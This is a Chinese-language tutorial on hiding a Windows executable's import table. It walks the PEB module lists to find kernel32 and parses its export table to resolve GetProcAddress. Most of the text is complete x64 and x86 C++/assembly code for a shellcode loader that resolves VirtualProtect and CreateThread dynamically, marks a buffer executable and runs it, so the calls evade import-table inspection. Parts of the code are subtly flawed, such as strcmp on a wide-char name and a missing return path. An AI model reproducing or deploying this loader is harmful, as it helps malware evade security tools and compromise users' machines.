隐藏导入表
1.基础概念
导入表
显示了 EXE 需要调用哪些 DLL 的哪些函数
查看 EXE 导入表
安装 Visual Studio,将 dumpbin.exe 加入环境变量
dumpbin /imports xxx.exe
导出表
显示了 DLL 可以提供哪些函数
查看 DLL 导出表
安装 Visual Studio,将 dumpbin.exe 加入环境变量
dumpbin /exports xxx.dll
PE 结构
PE 文件起始为 DOS头
NT 头包含 PE 文件各种信息
TEB 结构体:包含进程的线程信息
PEB 结构体:包含进程信息
InInitializationOrderModuleList 链表:节点是 LDR_DATA_TABLE_ENTRY 结构体,可以遍历获取已经加载了的 DLL 的地址
InLoadOrderModuleList 链表:节点是 LDR_DATA_TABLE_ENTRY 结构体,可以遍历获取已经加载了的 DLL 的地址
——————————————
DOS头地址 + 其 e_lfanew 字段可以偏移到 NT头
DOS头 + NT头 的 OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress 字段可以偏移到导出表
x64
gs:[0x30] 指向 TEB
gs:[0x60] 和 TEB+0x60 指向 PEB
PEB+0x18 指向 PEB_LDR_DATA
PEB_LDR_DATA+0x30 是 InInitializationOrderModuleList
x86
fs:[0x0] 指向 TEB
fs:[0x30] 和 TEB+0x30 指向 PEB
PEB+0x0c 指向 PEB_LDR_DATA
PEB_LDR_DATA+0x0c 是 InLoadOrderModuleList
2.x64 隐藏导入表
流程
主动找到函数地址来调用函数不会记录到导入表
获取 InInitializationOrderModuleList 地址
遍历 InInitializationOrderModuleList 获取 EXE 运行自动加载的 Kernel32.dll 地址
遍历 Kernel32.dll 导出表,获取 GetProcAddress 函数地址
通过 GetProcAddress 地址调用 GetProcAddress 函数获取其他必要函数地址
通过必要函数地址调用必要函数加载 ShellCode
代码编写
x64 不能直接在 C 代码中写汇编
选择 Dubug,视图->解决方案资源管理器->源文件->添加->新建项->x64.asm
x64.asm->属性->从生成中排除(否)、项类型(自定义生成工具)、命令行(ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm)、输出($(IntDir)%(fileName).obj)
x64.asm (获取 InInitializationOrderModuleList 地址):
.CODE
GetInInitializationOrderModuleList PROC
mov rax,gs:[60h] ; PEB,不能写 0x60
mov rax,[rax+18h] ; PEB_LDR_DATA
mov rax,[rax+30h] ; InInitializationOrderModuleList
ret ; 不能写 retn
GetInInitializationOrderModuleList ENDP
END
x64Debug.cpp
#include <windows.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
// 声明自定义函数,extern "C" 表示使用 C语言的调用约定
extern "C" PVOID64 __stdcall GetInInitializationOrderModuleList();
// 获取 Kernel32 地址
HMODULE GetKernel32Address() {
// 获取 InInitializationOrderModuleList
LIST_ENTRY* node = (LIST_ENTRY*)GetInInitializationOrderModuleList(); // LIST_ENTRY 是双向链表结构体
// 遍历 InInitializationOrderModuleList
while (1) {
UNICODE_STRING* fullDllName = (UNICODE_STRING*)((BYTE*)node + 0x38); // x86 偏移量是 0x24
if (*(fullDllName->Buffer + 12) == '\0') { // 模块完整名称是 KERNEL32.DLL\0
return (HMODULE)(*((ULONG64*)((BYTE*)node + 0x10))); // 返回模块基址(DllBase)
}
node = node->Flink; // 下一个节点
}
}
// 获取 GetProcAddress 函数地址
DWORD64 GetGetProcAddress(HMODULE hKernal32) {
// 获取 Kernel32.dll DOS头
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hKernal32;
// 获取 NT头
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((LONG64)dos + dos->e_lfanew); // x64 指针是8字节,e_lfanew 是 DWORD 是4字节,所以要转 LONG64
// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)dos + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 函数的地址为ULONG,所以用PULONG指针
PULONG RVAFunctions = (PULONG)((LONG64)dos + exportDir->AddressOfFunctions); // 获取导出函数的RVA(相对虚拟地址)数组地址
PULONG RVANames = (PULONG)((LONG64)dos + exportDir->AddressOfNames); // 获取导出函数名RVA数组地址
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)dos + exportDir->AddressOfNameOrdinals); // 获取导出函数序号数组地址
// 遍历导出函数
for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
PUCHAR functionName = (PUCHAR)((LONG64)dos + RVANames[i]); // 获取当前函数名地址
if (!strcmp((const char*)functionName, "GetProcAddress")) { // 函数名是 GetProcAddress
return (ULONG64)((LONG64)dos + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 返回当前函数地址
}
}
}
// 定义函数指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
unsigned char buf[] = "ShellCode";
HMODULE hKernal32 = GetKernel32Address(); // 获取 Kernel32 地址
pGetProcAddress GetProcAddress = (pGetProcAddress)GetGetProcAddress(hKernal32); // 获取 GetProcAddress 函数地址
// 获取必要函数地址
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
// 加载 ShellCode
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
}
3.x86 隐藏导入表
流程
与 x64 的区别是获取 Kernel32.dll 的地址是通过遍历 InLoadOrderModuleList
代码编写
x86 可以直接在 C 代码中写汇编
x86Debug.cpp:
#include <windows.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
UINT32 SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
UINT32 Flags;
USHORT LoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
PVOID SectionPointer;
UINT32 CheckSum;
UINT32 TimeDateStamp;
PVOID LoadedImports;
PVOID EntryPointActivationContext;
PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// 获取 Kernel32 地址,与 x64 不同
HMODULE GetKernel32Address() {
// 获取 InLoadOrderModuleList
LDR_DATA_TABLE_ENTRY* node = NULL;
__asm {
mov eax, fs: [0x30] // PEB
mov eax, [eax + 0x0C] // PEB_LDR_DATA
mov eax, [eax + 0x0C] // InLoadOrderModuleList
mov node, eax
}
// 遍历 InLoadOrderModuleList
char kernel32Name[] = { 'K',0,'E',0,'R',0,'N',0,'E',0,'L',0,'3',0,'2',0,'.',0,'D',0,'L',0,'L',0,0,0 }; // unicode \0 结尾
while (1) {
if (!strcmp((const char*)node->BaseDllName.Buffer, kernel32Name)) { // 模块名是 KERNEL32.DLL\0
return (HMODULE)node->DllBase; // 返回模块基址
}
node = (LDR_DATA_TABLE_ENTRY*)node->InLoadOrderLinks.Flink; // 下一个节点
}
}
// 获取 GetProcAddress 函数地址,同 x64
DWORD64 GetGetProcAddress(HMODULE hKernal32) {
// 获取 Kernel32.dll DOS头
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hKernal32;
// 获取 NT头
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((LONG64)dos + dos->e_lfanew); // x64 指针是8字节,e_lfanew 是 DWORD 是4字节,所以要转 LONG64
// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)dos + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 函数的地址为ULONG,所以用PULONG指针
PULONG RVAFunctions = (PULONG)((LONG64)dos + exportDir->AddressOfFunctions); // 获取导出函数的RVA(相对虚拟地址)数组地址
PULONG RVANames = (PULONG)((LONG64)dos + exportDir->AddressOfNames); // 获取导出函数名RVA数组地址
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)dos + exportDir->AddressOfNameOrdinals); // 获取导出函数序号数组地址
// 遍历导出函数
for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
PUCHAR functionName = (PUCHAR)((LONG64)dos + RVANames[i]); // 获取当前函数名地址
if (!strcmp((const char*)functionName, "GetProcAddress")) { // 函数名是 GetProcAddress
return (ULONG64)((LONG64)dos + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 返回当前函数地址
}
}
}
// 定义函数指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
unsigned char buf[] = "ShellCode";
HMODULE hKernal32 = GetKernel32Address(); // 获取 Kernel32 地址
pGetProcAddress GetProcAddress = (pGetProcAddress)GetGetProcAddress(hKernal32); // 获取 GetProcAddress 函数地址
// 获取必要函数地址
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
// 加载 ShellCode
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
}